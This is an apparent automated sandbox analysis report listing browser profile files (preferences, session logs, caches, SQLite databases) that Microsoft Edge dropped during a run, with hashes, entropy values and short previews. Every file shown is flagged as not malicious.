File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	0.776025066836779
Encrypted:	false
SSDEEP:	12:LBtiuWkKcwF11DM/FAf4ADj1O7L0rqq3o:LLiuW9LFPY/Wf4ADj1o0rqq3o
MD5:	8E4386856092BCA853E788788B5AAFDD
SHA1:	BCC98C4A8185365A3F42540B479B73027DE42EFD
SHA-256:	36348EFD2903B8BC161E5EF77667DF16649261BAA5EFD3FB0D40578D96E5A677
SHA-512:	A4FBA21CEE59D3C964DA4F9146CF1EF78379DF81AD0D688D17C52916F3C2C678AA8EFB86B0C355E471681A1ADA44280211730055A23E8EFFE96DF143EBB664DD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9315
Entropy (8bit):	4.930775949470461
Encrypted:	false
SSDEEP:	96:sV2Sz76J18Vb96cPJYB3585Th6Cp9/x+6M8muecmAeCvfe4zvrL2VHQyV0E5AtE7:sV2SqJ+PJYB358Ppj+FVADLC1f
MD5:	8EC2CA07640A6158F01E0EB7F972CCD2
SHA1:	6023731F2AA02D52F6D34354E0F404C22B52B8E1
SHA-256:	00D04C9EB8E5C2B224CBB1D310A82822BDF4AA1805805A4D25E7AA34CA008143
SHA-512:	25EA34350AFD26FC7E1AC2D1FE8506CE8F6AEA2E79A11556533F2B32B4571A07B02CF58B9636B996A7D6C0EC964281EAA376EF9A5FE371BDCFBFB66C8ED53BD4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF33104.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9315
Entropy (8bit):	4.930775949470461
Encrypted:	false
SSDEEP:	96:sV2Sz76J18Vb96cPJYB3585Th6Cp9/x+6M8muecmAeCvfe4zvrL2VHQyV0E5AtE7:sV2SqJ+PJYB358Ppj+FVADLC1f
MD5:	8EC2CA07640A6158F01E0EB7F972CCD2
SHA1:	6023731F2AA02D52F6D34354E0F404C22B52B8E1
SHA-256:	00D04C9EB8E5C2B224CBB1D310A82822BDF4AA1805805A4D25E7AA34CA008143
SHA-512:	25EA34350AFD26FC7E1AC2D1FE8506CE8F6AEA2E79A11556533F2B32B4571A07B02CF58B9636B996A7D6C0EC964281EAA376EF9A5FE371BDCFBFB66C8ED53BD4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF37e88.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9315
Entropy (8bit):	4.930775949470461
Encrypted:	false
SSDEEP:	96:sV2Sz76J18Vb96cPJYB3585Th6Cp9/x+6M8muecmAeCvfe4zvrL2VHQyV0E5AtE7:sV2SqJ+PJYB358Ppj+FVADLC1f
MD5:	8EC2CA07640A6158F01E0EB7F972CCD2
SHA1:	6023731F2AA02D52F6D34354E0F404C22B52B8E1
SHA-256:	00D04C9EB8E5C2B224CBB1D310A82822BDF4AA1805805A4D25E7AA34CA008143
SHA-512:	25EA34350AFD26FC7E1AC2D1FE8506CE8F6AEA2E79A11556533F2B32B4571A07B02CF58B9636B996A7D6C0EC964281EAA376EF9A5FE371BDCFBFB66C8ED53BD4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f3b8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9315
Entropy (8bit):	4.930775949470461
Encrypted:	false
SSDEEP:	96:sV2Sz76J18Vb96cPJYB3585Th6Cp9/x+6M8muecmAeCvfe4zvrL2VHQyV0E5AtE7:sV2SqJ+PJYB358Ppj+FVADLC1f
MD5:	8EC2CA07640A6158F01E0EB7F972CCD2
SHA1:	6023731F2AA02D52F6D34354E0F404C22B52B8E1
SHA-256:	00D04C9EB8E5C2B224CBB1D310A82822BDF4AA1805805A4D25E7AA34CA008143
SHA-512:	25EA34350AFD26FC7E1AC2D1FE8506CE8F6AEA2E79A11556533F2B32B4571A07B02CF58B9636B996A7D6C0EC964281EAA376EF9A5FE371BDCFBFB66C8ED53BD4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568350464022205
Encrypted:	false
SSDEEP:	768:ZvC9z1WPK8fHG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV+rvEUrw/pltuI:ZvC9z1WPK8fHGu1jaLjEN7tX
MD5:	5A543CCC01C641366C54E4D50DA34444
SHA1:	652312C20429B9485CF2271FF68795E087D03E08
SHA-256:	0D9F9D92C8C997BC8F96BED409442DE0E8259FCD706B241E4672184CF4BBAA25
SHA-512:	6C57330C084A46D7D6B04EF4030813EE28D27116F89712B5AD164D3669D736F80FA982874E84CA7865ADF97D40DC136C9DBB4E331427BE0313D38F6CF1005B2A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378835659899765","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378835659899765","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF33123.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568350464022205
Encrypted:	false
SSDEEP:	768:ZvC9z1WPK8fHG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV+rvEUrw/pltuI:ZvC9z1WPK8fHGu1jaLjEN7tX
MD5:	5A543CCC01C641366C54E4D50DA34444
SHA1:	652312C20429B9485CF2271FF68795E087D03E08
SHA-256:	0D9F9D92C8C997BC8F96BED409442DE0E8259FCD706B241E4672184CF4BBAA25
SHA-512:	6C57330C084A46D7D6B04EF4030813EE28D27116F89712B5AD164D3669D736F80FA982874E84CA7865ADF97D40DC136C9DBB4E331427BE0313D38F6CF1005B2A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378835659899765","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378835659899765","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF38b49.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568350464022205
Encrypted:	false
SSDEEP:	768:ZvC9z1WPK8fHG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV+rvEUrw/pltuI:ZvC9z1WPK8fHGu1jaLjEN7tX
MD5:	5A543CCC01C641366C54E4D50DA34444
SHA1:	652312C20429B9485CF2271FF68795E087D03E08
SHA-256:	0D9F9D92C8C997BC8F96BED409442DE0E8259FCD706B241E4672184CF4BBAA25
SHA-512:	6C57330C084A46D7D6B04EF4030813EE28D27116F89712B5AD164D3669D736F80FA982874E84CA7865ADF97D40DC136C9DBB4E331427BE0313D38F6CF1005B2A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378835659899765","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378835659899765","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	251
Entropy (8bit):	2.6641733010661266
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljljljl:S85aEFljljljljljljljljljljl
MD5:	22B21EF1C867F920688AD23503CC59B3
SHA1:	2A7D083F7C8E2FEA6851D13A3FCB1F37A87D3E8D
SHA-256:	7867C6DEC8A5FD95B544F7590EB8257CAD3F7E13E15A938EAA76F04966122C33
SHA-512:	ACDE85DD18BBBB3622EECBA14DE7528723D09DB26C7AEAE4201A90763C0775809754BCEB7819171F7AC146C7F364DD8F4640AEB1070186338BA350B60D18313B
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.115805646660781
Encrypted:	false
SSDEEP:	6:7+9jyq2Pwkn23oH+TcwtrQMxIFUt8On1Zmw+OH2RkwOwkn23oH+TcwtrQMFLJ:7+9jyvYfYebCFUt8O1/+OH2R5JfYebtJ
MD5:	D297FFE66137E51001C7ECE008ADD7C5
SHA1:	80A126F19A7F0AE8F4D33B00A7F7F51E64EE9DA0
SHA-256:	752551986255DE644BD32F28C1F8ED6928D3D95D4BB29E96B49447D72C6A78AC
SHA-512:	5DD2D47E17D816FB00944177888A64019C99C62F5E5176693DE5FDE7C66F5AF066312964E3EC48D002707A1C1175836732FF43A41D6C461E22A1B1AF990BDF60
Malicious:	false
Preview:	2024/12/16-10:14:20.665 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/16-10:14:20.668 1e34 Recovering log #3.2024/12/16-10:14:20.672 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.115805646660781
Encrypted:	false
SSDEEP:	6:7+9jyq2Pwkn23oH+TcwtrQMxIFUt8On1Zmw+OH2RkwOwkn23oH+TcwtrQMFLJ:7+9jyvYfYebCFUt8O1/+OH2R5JfYebtJ
MD5:	D297FFE66137E51001C7ECE008ADD7C5
SHA1:	80A126F19A7F0AE8F4D33B00A7F7F51E64EE9DA0
SHA-256:	752551986255DE644BD32F28C1F8ED6928D3D95D4BB29E96B49447D72C6A78AC
SHA-512:	5DD2D47E17D816FB00944177888A64019C99C62F5E5176693DE5FDE7C66F5AF066312964E3EC48D002707A1C1175836732FF43A41D6C461E22A1B1AF990BDF60
Malicious:	false
Preview:	2024/12/16-10:14:20.665 1e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/16-10:14:20.668 1e34 Recovering log #3.2024/12/16-10:14:20.672 1e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13378835662406704

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2366
Entropy (8bit):	3.518648042825172
Encrypted:	false
SSDEEP:	24:3yldyySeM6xchbClKHOfqr+H+cRDCoELVqr+H+cRDutN9DM3j4+cWschb:3ynyySeqsKOfo+rDao+rDuG3jfF
MD5:	0BF146570964BA1F70A7F5033E0D5468
SHA1:	1384BD513B22092A63D08790B172061F8B77B3AC
SHA-256:	2D7EBBF1ABFF45AFBA352433172E59E64573BD44DB59ACCDFA094FF5F1A3A9AD
SHA-512:	637441E445C06426DF51CEA18858A8F47D168B27F065F07A9D3E720E95B5F6A20BD458BF52E28781978DEF575094A76E5C4DD2FA0C4E0757E4EF78D8BDAB5C3B
Malicious:	false
Preview:	SNSS.......>.@~...........>.@~......">.@~...........>.@~.......>.@~.......?.@~.......?.@~....!..?.@~...............................>.@~?.@~1..,...?.@~$...190bd837_c948_4355_879e_f2ec72eadbc6...>.@~.......?.@~....&*M........>.@~...>.@~....................5..0...>.@~&...{1A5CCF63-1000-409F-B5C1-AFEC7F75D4D9}.....>.@~..........@.@~.......@.@~....!..@.@~...............................>.@~@.@~1..,...@.@~$...3c672068_b2aa_4dbd_a1b2_6e55e1577be6...>.@~.......@.@~....e.#........@.@~....Y..T...@.@~....R...file:///C:/Users/user/AppData/Local/Temp/eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf......D...@...!...8...........................................................8...............@...............8......._.`.d)..`.`.d)..x...............................H...................................................R...f.i.l.e.:./././.C.:./.U.s.e.r.s./.j.o.n.e.s./.A.p.p.D.a.t.a./.L.o.c.a.l./.T.e.m.p./.e.b.3.e.3.6.5.c.-.3.b.4.e.-.4.f.5.f.-.8.d.a.d.-.5.0.5.3.3.2.0.3.4.2.3.c...p.d.f...............................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.1651798396071635
Encrypted:	false
SSDEEP:	6:79f+q2Pwkn23oH+Tcwt7Uh2ghZIFUt8OOBZmw+OOVVkwOwkn23oH+Tcwt7Uh2gnd:7ovYfYebIhHh2FUt8OOB/+OOb5JfYebs
MD5:	3C333FF9100D4174248C15241ECA91CA
SHA1:	366E4DF857389863FF167B0F98E2E95DCD102920
SHA-256:	D80F35C0248205D7893A425941D1CFEC6E56928D9E127954570A8329E43D4351
SHA-512:	84CA94C59019BE9108EA5316AC9F6F5BAFD3F7B49A863AA1D2D8FC348EF468B01656665C3066B4CF2B00D97916750DC16AB7CBE105F125A1343C76F9406B9EDA
Malicious:	false
Preview:	2024/12/16-10:14:19.896 14e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/16-10:14:19.897 14e8 Recovering log #3.2024/12/16-10:14:19.897 14e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.1651798396071635
Encrypted:	false
SSDEEP:	6:79f+q2Pwkn23oH+Tcwt7Uh2ghZIFUt8OOBZmw+OOVVkwOwkn23oH+Tcwt7Uh2gnd:7ovYfYebIhHh2FUt8OOB/+OOb5JfYebs
MD5:	3C333FF9100D4174248C15241ECA91CA
SHA1:	366E4DF857389863FF167B0F98E2E95DCD102920
SHA-256:	D80F35C0248205D7893A425941D1CFEC6E56928D9E127954570A8329E43D4351
SHA-512:	84CA94C59019BE9108EA5316AC9F6F5BAFD3F7B49A863AA1D2D8FC348EF468B01656665C3066B4CF2B00D97916750DC16AB7CBE105F125A1343C76F9406B9EDA
Malicious:	false
Preview:	2024/12/16-10:14:19.896 14e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/16-10:14:19.897 14e8 Recovering log #3.2024/12/16-10:14:19.897 14e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	4.951205414488182E-4
Encrypted:	false
SSDEEP:	3:LsuliOz:Ls4z
MD5:	1AF94540113F3B4C6E4A3B5657BF1FEF
SHA1:	9016EA4819DADB6648E5C1DF68198867C34FBE20
SHA-256:	050C0DDA50BAC8F7C18475A8A76A270DE9E841AEFD0C554889DDCD1A0AE35043
SHA-512:	6DB51E38A2A88FDC089B2417208334AA191A900108B286B353C5F91668F2E9A527A4049934139F8B0F2F3C45EA58A68B6680BE4580E5E24F9393E498C7603403
Malicious:	false
Preview:	......................................../.W.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
